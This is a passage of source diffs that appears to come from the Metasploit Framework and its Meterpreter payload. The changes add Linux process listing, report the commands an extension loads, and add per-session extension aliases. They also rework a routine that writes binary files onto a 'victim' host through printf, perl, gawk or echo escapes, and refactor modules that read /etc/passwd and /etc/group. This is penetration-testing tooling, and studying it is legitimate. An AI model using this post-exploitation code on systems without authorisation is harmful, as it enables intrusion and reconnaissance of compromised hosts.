DIR * dir;
|
||||
int i;
|
||||
int read;
|
||||
struct dirent * entry;
|
||||
struct stat stat_buf;
|
||||
char is_process_dir;
|
||||
char file_path[50];
|
||||
char file_buffer[2048];
|
||||
char username[40];
|
||||
char process_name[50];
|
||||
char * cmdline;
|
||||
FILE * fd;
|
||||
struct info_process info;
|
||||
struct info_user_list * user_list;
|
||||
|
||||
user_list = NULL;
|
||||
parse_passwd_file("/etc/passwd", &user_list);
|
||||
|
||||
dir = opendir("/proc");
|
||||
if(dir) {
|
||||
while( (entry=readdir(dir) ) != NULL) {
|
||||
memset(file_path, 0, sizeof(file_path));
|
||||
snprintf(file_path, sizeof(file_path)-1, "/proc/%s", entry->d_name);
|
||||
// handle only directories
|
||||
if ( (stat(file_path, &stat_buf) != 0) || !(S_ISDIR(stat_buf.st_mode)) )
|
||||
continue;
|
||||
// assume it's a dir name
|
||||
is_process_dir = 1;
|
||||
// check if the directory name is a process dir name (ie. only digits)
|
||||
for (i=0; i<strlen(entry->d_name); i++) {
|
||||
if (!isdigit(entry->d_name[i])) {
|
||||
is_process_dir = 0;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (is_process_dir) {
|
||||
memset(file_path, 0, sizeof(file_path));
|
||||
snprintf(file_path, sizeof(file_path)-1, "/proc/%s/status", entry->d_name);
|
||||
fd = fopen(file_path, "rb");
|
||||
if (!fd)
|
||||
continue;
|
||||
memset(file_buffer, 0, sizeof(file_buffer));
|
||||
read = read_file(fd, file_buffer, sizeof(file_buffer));
|
||||
parse_status(file_buffer, &info);
|
||||
fclose(fd);
|
||||
|
||||
|
||||
/* at the moment, lack support for getpwuid in bionic (defined in stub.c but excluded from compilation)
|
||||
* so use custom code to parse /etc/passwd
|
||||
* see parse_passwd_file above
|
||||
*/
|
||||
|
||||
memset(username, 0, sizeof(username));
|
||||
if (user_list)
|
||||
uid_to_username(user_list, info.uid, username, sizeof(username));
|
||||
else
|
||||
snprintf(username, sizeof(username)-1, "%d", info.uid);
|
||||
|
||||
memset(file_path, 0, sizeof(file_path));
|
||||
snprintf(file_path, sizeof(file_path)-1, "/proc/%s/cmdline", entry->d_name);
|
||||
fd = fopen(file_path, "rb");
|
||||
if (!fd)
|
||||
continue;
|
||||
|
||||
memset(process_name, 0, sizeof(process_name));
|
||||
memset(file_buffer, 0, sizeof(file_buffer));
|
||||
read = read_file(fd, file_buffer, sizeof(file_buffer));
|
||||
fclose(fd);
|
||||
|
||||
if (info.state[0] == 'Z') { // zombie
|
||||
snprintf(process_name, sizeof(process_name)-1, "[%s] <defunct>", info.name);
|
||||
cmdline = NULL; // no cmdline for zombie process
|
||||
}
|
||||
else if (read == 0) { // kernel process
|
||||
snprintf(process_name, sizeof(process_name)-1, "[%s]", info.name);
|
||||
cmdline = NULL; // no cmdline for kernel process
|
||||
}
|
||||
else {
|
||||
snprintf(process_name, sizeof(process_name)-1, "%s", info.name);
|
||||
cmdline = file_buffer; // file_buffer contains the cmdline
|
||||
for(i=0; i<read; i++)
|
||||
if(file_buffer[i] == '\0')
|
||||
file_buffer[i] = ' ';
|
||||
}
|
||||
// don't care about process arch
|
||||
ps_addresult(response, atoi(entry->d_name), info.ppid, process_name, cmdline, username, 0);
|
||||
// at least 1 process found, return ERROR_SUCCESS;
|
||||
result = ERROR_SUCCESS;
|
||||
|
||||
|
||||
} // end is_process_dir
|
||||
|
||||
} // end while readdir
|
||||
closedir(dir);
|
||||
}
|
||||
|
||||
if (user_list) {
|
||||
if(user_list->list)
|
||||
free(user_list->list);
|
||||
free(user_list);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
/*
|
||||
* Add the details of a process to the response.
|
||||
*/
|
||||
VOID ps_addresult( Packet * response, DWORD dwPid, DWORD dwParentPid, char * cpExeName, char * cpExePath, char * cpUserName, DWORD dwProcessArch )
|
||||
{
|
||||
Tlv entries[7] = {0};
|
||||
DWORD dwSessionId = 0;
|
||||
|
||||
do
|
||||
{
|
||||
if( !response )
|
||||
break;
|
||||
|
||||
#ifdef _WIN32
|
||||
dwSessionId = session_id( dwPid );
|
||||
#else
|
||||
dwSessionId = 0;
|
||||
#endif
|
||||
dwPid = htonl( dwPid );
|
||||
entries[0].header.type = TLV_TYPE_PID;
|
||||
entries[0].header.length = sizeof( DWORD );
|
||||
entries[0].buffer = (PUCHAR)&dwPid;
|
||||
|
||||
if( !cpExeName )
|
||||
cpExeName = "";
|
||||
entries[1].header.type = TLV_TYPE_PROCESS_NAME;
|
||||
entries[1].header.length = (DWORD)strlen( cpExeName ) + 1;
|
||||
entries[1].buffer = cpExeName;
|
||||
|
||||
if( !cpExePath )
|
||||
cpExePath = "";
|
||||
entries[2].header.type = TLV_TYPE_PROCESS_PATH;
|
||||
entries[2].header.length = (DWORD)strlen( cpExePath ) + 1;
|
||||
entries[2].buffer = cpExePath;
|
||||
|
||||
if( !cpUserName )
|
||||
cpUserName = "";
|
||||
entries[3].header.type = TLV_TYPE_USER_NAME;
|
||||
entries[3].header.length = (DWORD)strlen( cpUserName ) + 1;
|
||||
entries[3].buffer = cpUserName;
|
||||
|
||||
dwProcessArch = htonl( dwProcessArch );
|
||||
entries[4].header.type = TLV_TYPE_PROCESS_ARCH;
|
||||
entries[4].header.length = sizeof( DWORD );
|
||||
entries[4].buffer = (PUCHAR)&dwProcessArch;
|
||||
|
||||
dwParentPid = htonl( dwParentPid );
|
||||
entries[5].header.type = TLV_TYPE_PARENT_PID;
|
||||
entries[5].header.length = sizeof( DWORD );
|
||||
entries[5].buffer = (PUCHAR)&dwParentPid;
|
||||
|
||||
dwSessionId = htonl( dwSessionId );
|
||||
entries[6].header.type = TLV_TYPE_PROCESS_SESSION;
|
||||
entries[6].header.length = sizeof( DWORD );
|
||||
entries[6].buffer = (PUCHAR)&dwSessionId;
|
||||
|
||||
packet_add_tlv_group( response, TLV_TYPE_PROCESS_GROUP, entries, 7 );
|
||||
|
||||
} while(0);
|
||||
|
||||
}
|
||||
|
|
|
@ -1,9 +1,12 @@
|
|||
//===============================================================================================//
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_STDAPI_STDAPI_SERVER_PROCESS_PS_H
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_STDAPI_STDAPI_SERVER_PROCESS_PS_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_STDAPI_STDAPI_SERVER_PROCESS_PS_H
|
||||
//===============================================================================================//
|
||||
#ifdef _WIN32
|
||||
|
||||
|
||||
VOID ps_addresult( Packet * response, DWORD dwPid, DWORD dwParentPid, char * cpExeName, char * cpExePath, char * cpUserName, DWORD dwProcessArch );
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
|
||||
typedef DWORD (WINAPI * GETMODULEFILENAMEEXA)( HANDLE hProcess, HMODULE hModule, LPTSTR lpExeName, DWORD dwSize );
|
||||
typedef DWORD (WINAPI * GETPROCESSIMAGEFILENAMEA)( HANDLE hProcess, LPTSTR lpExeName, DWORD dwSize );
|
||||
|
@ -77,7 +80,11 @@ DWORD ps_list_via_psapi( Packet * response );
|
|||
|
||||
DWORD ps_list_via_brute( Packet * response );
|
||||
|
||||
|
||||
|
||||
//===============================================================================================//
|
||||
#else // linux
|
||||
DWORD ps_list_linux( Packet * response );
|
||||
#endif // _WIN32
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
//===============================================================================================//
|
||||
|
|
|
@ -836,8 +836,9 @@ void address_calculate_netmask(struct iface_address *address, int ifa_prefixlen)
|
|||
|
||||
if (address->family == AF_INET6) {
|
||||
// if netmask is FFFFFFFF FFFFFFFF 00000000 00000000 (/64), netmask6.a1 and netmask6.a2 == 0xffffffff, and nestmask6.a3 and .a4 == 0
|
||||
// netmask6 is set to 0 at the beginning of the function, no need to reset the values to 0 if it is needed
|
||||
// netmask6 is no longer set to 0 at the beginning of the function, need to reset the values to 0
|
||||
// XXX really ugly, but works
|
||||
memset(&address->nm.netmask6, 0, sizeof(__u128));
|
||||
if (ifa_prefixlen >= 96) {
|
||||
address->nm.netmask6.a4 = (1 << (ifa_prefixlen-96))-1;
|
||||
address->nm.netmask6.a1 = address->nm.netmask6.a2 = address->nm.netmask6.a3 = 0xffffffff;
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
#include <dlfcn.h>
|
||||
#include "metsrv.h"
|
||||
|
||||
extern Command *extension_commands;
|
||||
|
||||
DWORD
|
||||
request_core_loadlib(Remote *remote, Packet *packet)
|
||||
|
@ -12,7 +13,9 @@ request_core_loadlib(Remote *remote, Packet *packet)
|
|||
DWORD flags = 0;
|
||||
PCHAR targetPath;
|
||||
int local_error = 0;
|
||||
|
||||
Command *command;
|
||||
Command *first = extension_commands;
|
||||
|
||||
do
|
||||
{
|
||||
Tlv dataTlv;
|
||||
|
@ -64,6 +67,11 @@ request_core_loadlib(Remote *remote, Packet *packet)
|
|||
dprintf("calling InitServerExtension");
|
||||
res = init(remote);
|
||||
}
|
||||
if (response) {
|
||||
for (command = extension_commands; command != first; command = command->next) {
|
||||
packet_add_tlv_string(response, TLV_TYPE_METHOD, command->method);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
} while (0);
|
||||
|
|
|
@ -5,6 +5,8 @@ extern HINSTANCE hAppInstance;
|
|||
|
||||
// see remote_dispatch_common.c
|
||||
extern LIST * extension_list;
|
||||
// see common/base.c
|
||||
extern Command *extension_commands;
|
||||
|
||||
DWORD request_core_loadlib(Remote *remote, Packet *packet)
|
||||
{
|
||||
|
@ -15,6 +17,9 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
|
|||
DWORD flags = 0;
|
||||
BOOL bLibLoadedReflectivly = FALSE;
|
||||
|
||||
Command *first = extension_commands;
|
||||
Command *command;
|
||||
|
||||
do
|
||||
{
|
||||
libraryPath = packet_get_tlv_value_string(packet,
|
||||
|
@ -124,6 +129,11 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
|
|||
free( extension );
|
||||
}
|
||||
dprintf("[SERVER] Called init()...");
|
||||
if (response) {
|
||||
for (command = extension_commands; command != first; command = command->next) {
|
||||
packet_add_tlv_string(response, TLV_TYPE_METHOD, command->method);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -39,6 +39,7 @@ objects = \
|
|||
server/sys/config/config.o \
|
||||
server/sys/process/linux-in-mem-exe.o \
|
||||
server/sys/process/process.o \
|
||||
server/sys/process/ps.o \
|
||||
|
||||
all: ext_server_stdapi.so
|
||||
|
||||
|
|
|
@ -212,7 +212,7 @@ protected
|
|||
return nil
|
||||
end
|
||||
|
||||
data = ''
|
||||
data = fd.read
|
||||
begin
|
||||
until fd.eof?
|
||||
data << fd.read
|
||||
|
@ -247,77 +247,83 @@ protected
|
|||
|
||||
chunks = []
|
||||
command = nil
|
||||
encoding = :hex
|
||||
|
||||
line_max = _unix_max_line_length
|
||||
# Leave plenty of room for the filename we're writing to and the
|
||||
# command to echo it out
|
||||
line_max -= file_name.length - 64
|
||||
|
||||
# Default to simple echo. If the data is binary, though, we have to do
|
||||
# something fancy
|
||||
if d =~ /[^[:print:]]/
|
||||
# Ordered by descending likeliness to work
|
||||
[
|
||||
%q^perl -e 'print("\x41")'^,
|
||||
# POSIX awk doesn't have \xNN escapes, use gawk to ensure we're
|
||||
# getting the GNU version.
|
||||
%q^gawk 'BEGIN {ORS = ""; print "\x41"}' </dev/null^,
|
||||
# bash and zsh's echo builtins are apparently the only ones
|
||||
# that support both -e and -n as we need them. Most others
|
||||
# treat all options as just more arguments to print. In
|
||||
# particular, the standalone /bin/echo or /usr/bin/echo appear
|
||||
# never to have -e so don't bother trying them.
|
||||
%q^echo -ne '\x41'^,
|
||||
# printf seems to have different behavior on bash vs sh vs
|
||||
# other shells, try a full path (and hope it's the actual path)
|
||||
%q^/usr/bin/printf '\x41'^,
|
||||
%q^printf '\x41'^,
|
||||
].each { |c|
|
||||
a = session.shell_command_token("#{c}")
|
||||
if "A" == a
|
||||
command = c
|
||||
break
|
||||
#else
|
||||
# p a
|
||||
end
|
||||
}
|
||||
# Ordered by descending likeliness to work
|
||||
[
|
||||
# POSIX standard requires %b which expands octal (but not hex)
|
||||
# escapes in the argument. However, some versions truncate input on
|
||||
# nulls, so "printf %b '\0\101'" produces a 0-length string. The
|
||||
# standalon version seems to be more likely to work than the buitin
|
||||
# version, so try it first
|
||||
{ :cmd => %q^/usr/bin/printf %b 'CONTENTS'^ , :enc => :octal },
|
||||
{ :cmd => %q^printf %b 'CONTENTS'^ , :enc => :octal },
|
||||
# Perl supports both octal and hex escapes, but octal is usually
|
||||
# shorter (e.g. 0 becomes \0 instead of \x00)
|
||||
{ :cmd => %q^perl -e 'print("CONTENTS")'^ , :enc => :octal },
|
||||
# POSIX awk doesn't have \xNN escapes, use gawk to ensure we're
|
||||
# getting the GNU version.
|
||||
{ :cmd => %q^gawk 'BEGIN {ORS = ""; print "CONTENTS"}' </dev/null^ , :enc => :hex },
|
||||
# Use echo as a last resort since it frequently doesn't support -e
|
||||
# or -n. bash and zsh's echo builtins are apparently the only ones
|
||||
# that support both. Most others treat all options as just more
|
||||
# arguments to print. In particular, the standalone /bin/echo or
|
||||
# /usr/bin/echo appear never to have -e so don't bother trying
|
||||
# them.
|
||||
{ :cmd => %q^echo -ne 'CONTENTS'^ , :enc => :hex },
|
||||
].each { |foo|
|
||||
# Some versions of printf mangle %.
|
||||
test_str = "\0\xff\xfeABCD\x7f%%\r\n"
|
||||
if foo[:enc] == :hex
|
||||
cmd = foo[:cmd].sub("CONTENTS"){ Rex::Text.to_hex(test_str) }
|
||||
else
|
||||
cmd = foo[:cmd].sub("CONTENTS"){ Rex::Text.to_octal(test_str) }
|
||||
end
|
||||
a = session.shell_command_token("#{cmd}")
|
||||
if test_str == a
|
||||
command = foo[:cmd]
|
||||
encoding = foo[:enc]
|
||||
break
|
||||
else
|
||||
p a
|
||||
end
|
||||
}
|
||||
|
||||
if command.nil?
|
||||
raise RuntimeError, "Can't find command on the victim for writing binary data", caller
|
||||
end
|
||||
|
||||
# each byte will balloon up to 4 when we hex encode
|
||||
max = line_max/4
|
||||
i = 0
|
||||
while (i < d.length)
|
||||
chunks << Rex::Text.to_hex(d.slice(i...(i+max)))
|
||||
i += max
|
||||
end
|
||||
else
|
||||
i = 0
|
||||
while (i < d.length)
|
||||
chunk = d.slice(i...(i+line_max))
|
||||
# POSIX standard says single quotes cannot appear inside single
|
||||
# quotes and can't be escaped. Replace them with an equivalent.
|
||||
# (Close single quotes, open double quotes containing a single
|
||||
# quote, re-open single qutoes)
|
||||
chunk.gsub!("'", %q|'"'"'|)
|
||||
chunks << chunk
|
||||
i += line_max
|
||||
end
|
||||
command = "echo -n '\\x41'"
|
||||
if command.nil?
|
||||
raise RuntimeError, "Can't find command on the victim for writing binary data", caller
|
||||
end
|
||||
vprint_status("Writing #{d.length} bytes in #{chunks.length} chunks, using #{command.split(" ",2).first}")
|
||||
|
||||
# each byte will balloon up to 4 when we encode
|
||||
# (A becomes \x41 or \101)
|
||||
max = line_max/4
|
||||
|
||||
i = 0
|
||||
while (i < d.length)
|
||||
if encoding == :hex
|
||||
chunks << Rex::Text.to_hex(d.slice(i...(i+max)))
|
||||
else
|
||||
chunks << Rex::Text.to_octal(d.slice(i...(i+max)))
|
||||
end
|
||||
i += max
|
||||
end
|
||||
|
||||
vprint_status("Writing #{d.length} bytes in #{chunks.length} chunks of #{chunks.first.length} bytes (#{encoding}-encoded), using #{command.split(" ",2).first}")
|
||||
|
||||
# The first command needs to use the provided redirection for either
|
||||
# appending or truncating.
|
||||
cmd = command.sub("\\x41", chunks.shift)
|
||||
cmd = command.sub("CONTENTS") { chunks.shift }
|
||||
session.shell_command_token("#{cmd} #{redirect} '#{file_name}'")
|
||||
|
||||
# After creating/truncating or appending with the first command, we
|
||||
# need to append from here on out.
|
||||
chunks.each { |chunk|
|
||||
cmd = command.sub("\\x41", chunk)
|
||||
vprint_status("Next chunk is #{chunk.length} bytes")
|
||||
cmd = command.sub("CONTENTS") { chunk }
|
||||
|
||||
session.shell_command_token("#{cmd} >> '#{file_name}'")
|
||||
}
|
||||
|
@ -336,7 +342,11 @@ protected
|
|||
i=`expr $i + 1`; str=$str$str;\
|
||||
done; echo $max'
|
||||
line_max = session.shell_command_token(calc_line_max).to_i
|
||||
|
||||
# Fall back to a conservative 4k which should work on even the most
|
||||
# restrictive of embedded shells.
|
||||
line_max = (line_max == 0 ? 4096 : line_max)
|
||||
vprint_status("Max line length is #{line_max}")
|
||||
|
||||
line_max
|
||||
end
|
||||
|
|
|
@ -6,145 +6,92 @@ class Post
|
|||
module Linux
|
||||
module System
|
||||
include ::Msf::Post::Common
|
||||
include ::Msf::Post::File
|
||||
include ::Msf::Post::File
|
||||
|
||||
# Returns a Hash containing Distribution Name, Version and Kernel Information
|
||||
def get_sysinfo
|
||||
system_data = {}
|
||||
etc_files = cmd_exec("ls /etc").split()
|
||||
include ::Msf::Post::Unix
|
||||
|
||||
# Debian
|
||||
if etc_files.include?("debian_version")
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
if kernel_version =~ /Ubuntu/
|
||||
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "ubuntu"
|
||||
system_data[:version] = version
|
||||
system_data[:kernel] = kernel_version
|
||||
else
|
||||
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "debian"
|
||||
system_data[:version] = version
|
||||
system_data[:kernel] = kernel_version
|
||||
end
|
||||
# Returns a Hash containing Distribution Name, Version and Kernel Information
|
||||
def get_sysinfo
|
||||
system_data = {}
|
||||
etc_files = cmd_exec("ls /etc").split()
|
||||
|
||||
# Amazon
|
||||
elsif etc_files.include?("system-release")
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
version = read_file("/etc/system-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "amazon"
|
||||
system_data[:version] = version
|
||||
system_data[:kernel] = kernel_version
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
system_data[:kernel] = kernel_version
|
||||
|
||||
# Fedora
|
||||
elsif etc_files.include?("fedora-release")
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
version = read_file("/etc/fedora-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "fedora"
|
||||
system_data[:version] = version
|
||||
system_data[:kernel] = kernel_version
|
||||
|
||||
# Oracle Linux
|
||||
elsif etc_files.include?("enterprise-release")
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
version = read_file("/etc/enterprise-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "oracle"
|
||||
system_data[:version] = version
|
||||
system_data[:kernel] = kernel_version
|
||||
|
||||
# RedHat
|
||||
elsif etc_files.include?("redhat-release")
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
version = read_file("/etc/redhat-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "redhat"
|
||||
system_data[:version] = version
|
||||
system_data[:kernel] = kernel_version
|
||||
|
||||
# Arch
|
||||
elsif etc_files.include?("arch-release")
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
version = read_file("/etc/arch-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "arch"
|
||||
system_data[:version] = version
|
||||
system_data[:kernel] = kernel_version
|
||||
|
||||
# Slackware
|
||||
elsif etc_files.include?("slackware-version")
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
version = read_file("/etc/slackware-version").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "slackware"
|
||||
system_data[:version] = version
|
||||
system_data[:kernel] = kernel_version
|
||||
|
||||
# Mandrake
|
||||
elsif etc_files.include?("mandrake-release")
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
version = read_file("/etc/mandrake-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "mandrake"
|
||||
system_data[:version] = version
|
||||
system_data[:kernel] = kernel_version
|
||||
|
||||
#SuSE
|
||||
elsif etc_files.include?("SuSE-release")
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
version = read_file("/etc/SuSE-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "suse"
|
||||
system_data[:version] = version
|
||||
system_data[:kernel] = kernel_version
|
||||
|
||||
# Gentoo
|
||||
elsif etc_files.include?("gentoo-release")
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
version = read_file("/etc/gentoo-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "gentoo"
|
||||
system_data[:version] = version
|
||||
system_data[:kernel] = kernel_version
|
||||
else
|
||||
|
||||
# Others
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
# Debian
|
||||
if etc_files.include?("debian_version")
|
||||
if kernel_version =~ /Ubuntu/
|
||||
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "linux"
|
||||
system_data[:distro] = "ubuntu"
|
||||
system_data[:version] = version
|
||||
else
|
||||
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "debian"
|
||||
system_data[:version] = version
|
||||
system_data[:kernel] = kernel_version
|
||||
end
|
||||
return system_data
|
||||
end
|
||||
|
||||
# Returns an array of hashes each representing a user
|
||||
# Keys are name, uid, gid, info, dir and shell
|
||||
def get_users
|
||||
users = []
|
||||
cmd_out = cmd_exec("cat /etc/passwd").split("\n")
|
||||
cmd_out.each do |l|
|
||||
entry = {}
|
||||
user_field = l.split(":")
|
||||
entry[:name] = user_field[0]
|
||||
entry[:uid] = user_field[2]
|
||||
entry[:gid] = user_field[3]
|
||||
entry[:info] = user_field[4]
|
||||
entry[:dir] = user_field[5]
|
||||
entry[:shell] = user_field[6]
|
||||
users << entry
|
||||
end
|
||||
return users
|
||||
end
|
||||
# Amazon
|
||||
elsif etc_files.include?("system-release")
|
||||
version = read_file("/etc/system-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "amazon"
|
||||
system_data[:version] = version
|
||||
|
||||
# Returns an array of hashes each hash representing a user group
|
||||
# Keys are name, gid and users
|
||||
def get_groups
|
||||
groups = []
|
||||
cmd_out = cmd_exec("cat /etc/group").split("\n")
|
||||
cmd_out.each do |l|
|
||||
entry = {}
|
||||
user_field = l.split(":")
|
||||
entry[:name] = user_field[0]
|
||||
entry[:gid] = user_field[2]
|
||||
entry[:users] = user_field[3]
|
||||
groups << entry
|
||||
end
|
||||
return groups
|
||||
# Fedora
|
||||
elsif etc_files.include?("fedora-release")
|
||||
version = read_file("/etc/fedora-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "fedora"
|
||||
system_data[:version] = version
|
||||
|
||||
# Oracle Linux
|
||||
elsif etc_files.include?("enterprise-release")
|
||||
version = read_file("/etc/enterprise-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "oracle"
|
||||
system_data[:version] = version
|
||||
|
||||
# RedHat
|
||||
elsif etc_files.include?("redhat-release")
|
||||
version = read_file("/etc/redhat-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "redhat"
|
||||
system_data[:version] = version
|
||||
|
||||
# Arch
|
||||
elsif etc_files.include?("arch-release")
|
||||
version = read_file("/etc/arch-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "arch"
|
||||
system_data[:version] = version
|
||||
|
||||
# Slackware
|
||||
elsif etc_files.include?("slackware-version")
|
||||
version = read_file("/etc/slackware-version").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "slackware"
|
||||
system_data[:version] = version
|
||||
|
||||
# Mandrake
|
||||
elsif etc_files.include?("mandrake-release")
|
||||
version = read_file("/etc/mandrake-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "mandrake"
|
||||
system_data[:version] = version
|
||||
|
||||
#SuSE
|
||||
elsif etc_files.include?("SuSE-release")
|
||||
version = read_file("/etc/SuSE-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "suse"
|
||||
system_data[:version] = version
|
||||
|
||||
# Gentoo
|
||||
elsif etc_files.include?("gentoo-release")
|
||||
version = read_file("/etc/gentoo-release").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "gentoo"
|
||||
system_data[:version] = version
|
||||
else
|
||||
|
||||
# Others
|
||||
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'')
|
||||
system_data[:distro] = "linux"
|
||||
system_data[:version] = version
|
||||
end
|
||||
return system_data
|
||||
end
|
||||
|
||||
|
||||
end # System
|
||||
|
|
|
@ -1,59 +1,29 @@
|
|||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/unix'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Solaris
|
||||
module System
|
||||
include ::Msf::Post::Common
|
||||
include ::Msf::Post::File
|
||||
include ::Msf::Post::File
|
||||
|
||||
# Returns a Hash containing Distribution Name, Version and Kernel Information
|
||||
def get_sysinfo
|
||||
system_data = {}
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
version = read_file("/etc/release").split("\n")[0].strip
|
||||
system_data[:version] = version
|
||||
system_data[:kernel] = kernel_version
|
||||
system_data[:hostname] = kernel_version.split(" ")[1]
|
||||
return system_data
|
||||
end
|
||||
|
||||
# Returns an array of hashes each representing a user
|
||||
# Keys are name, uid, gid, info, dir and shell
|
||||
def get_users
|
||||
users = []
|
||||
cmd_out = cmd_exec("cat /etc/passwd").split("\n")
|
||||
cmd_out.each do |l|
|
||||
entry = {}
|
||||
user_field = l.split(":")
|
||||
entry[:name] = user_field[0]
|
||||
entry[:uid] = user_field[2]
|
||||
entry[:gid] = user_field[3]
|
||||
entry[:info] = user_field[4]
|
||||
entry[:dir] = user_field[5]
|
||||
entry[:shell] = user_field[6]
|
||||
users << entry
|
||||
end
|
||||
return users
|
||||
end
|
||||
|
||||
# Returns an array of hashes each hash representing a user group
|
||||
# Keys are name, gid and users
|
||||
def get_groups
|
||||
groups = []
|
||||
cmd_out = cmd_exec("cat /etc/group").split("\n")
|
||||
cmd_out.each do |l|
|
||||
entry = {}
|
||||
user_field = l.split(":")
|
||||
entry[:name] = user_field[0]
|
||||
entry[:gid] = user_field[2]
|
||||
entry[:users] = user_field[3]
|
||||
groups << entry
|
||||
end
|
||||
return groups
|
||||
end
|
||||
include ::Msf::Post::Unix
|
||||
|
||||
#
|
||||
# Returns a Hash containing Distribution Name, Version and Kernel
|
||||
# Information
|
||||
#
|
||||
def get_sysinfo
|
||||
system_data = {}
|
||||
kernel_version = cmd_exec("uname -a")
|
||||
version = read_file("/etc/release").split("\n")[0].strip
|
||||
system_data[:version] = version
|
||||
system_data[:kernel] = kernel_version
|
||||
system_data[:hostname] = kernel_version.split(" ")[1]
|
||||
return system_data
|
||||
end
|
||||
|
||||
end # System
|
||||
end # Solaris
|
||||
|
|
|
@ -104,6 +104,7 @@ class Client
|
|||
self.alive = true
|
||||
self.target_id = opts[:target_id]
|
||||
self.capabilities = opts[:capabilities] || {}
|
||||
self.commands = []
|
||||
|
||||
|
||||
self.conn_id = opts[:conn_id]
|
||||
|
@ -281,6 +282,7 @@ class Client
|
|||
# if a matching extension alias exists for the supplied symbol.
|
||||
#
|
||||
def method_missing(symbol, *args)
|
||||
#$stdout.puts("method_missing: #{symbol}")
|
||||
self.ext_aliases.aliases[symbol.to_s]
|
||||
end
|
||||
|
||||
|
@ -294,7 +296,9 @@ class Client
|
|||
# Loads the client half of the supplied extension and initializes it as a
|
||||
# registered extension that can be reached through client.ext.[extension].
|
||||
#
|
||||
def add_extension(name)
|
||||
def add_extension(name, commands=[])
|
||||
self.commands |= commands
|
||||
|
||||
# Check to see if this extension has already been loaded.
|
||||
if ((klass = self.class.check_ext_hash(name.downcase)) == nil)
|
||||
old = Rex::Post::Meterpreter::Extensions.constants
|
||||
|
@ -341,6 +345,18 @@ class Client
|
|||
#
|
||||
def register_extension_alias(name, ext)
|
||||
self.ext_aliases.aliases[name] = ext
|
||||
# Whee! Syntactic sugar, where art thou?
|
||||
#
|
||||
# Create an instance method on this object called +name+ that returns
|
||||
# +ext+. We have to do it this way instead of simply
|
||||
# self.class.class_eval so that other meterpreter sessions don't get
|
||||
# extension methods when this one does
|
||||
(class << self; self; end).class_eval do
|
||||
define_method(name.to_sym) do
|
||||
ext
|
||||
end
|
||||
end
|
||||
ext
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -445,10 +461,15 @@ class Client
|
|||
# Flag indicating whether to hex-encode UTF-8 file names and other strings
|
||||
#
|
||||
attr_accessor :encode_unicode
|
||||
#
|
||||
# A list of the commands
|
||||
#
|
||||
attr_reader :commands
|
||||
|
||||
protected
|
||||
attr_accessor :parser, :ext_aliases # :nodoc:
|
||||
attr_writer :ext, :sock # :nodoc:
|
||||
attr_writer :commands # :nodoc:
|
||||
end
|
||||
|
||||
end; end; end
|
||||
|
|
|
@ -121,7 +121,12 @@ class ClientCore < Extension
|
|||
raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
|
||||
end
|
||||
|
||||
return true
|
||||
commands = []
|
||||
response.each(TLV_TYPE_METHOD) { |c|
|
||||
commands << c.value
|
||||
}
|
||||
|
||||
return commands
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -150,13 +155,12 @@ class ClientCore < Extension
|
|||
path = ::File.expand_path(path)
|
||||
|
||||
# Load the extension DLL
|
||||
if (load_library(
|
||||
commands = load_library(
|
||||
'LibraryFilePath' => path,
|
||||
'UploadLibrary' => true,
|
||||
'Extension' => true,
|
||||
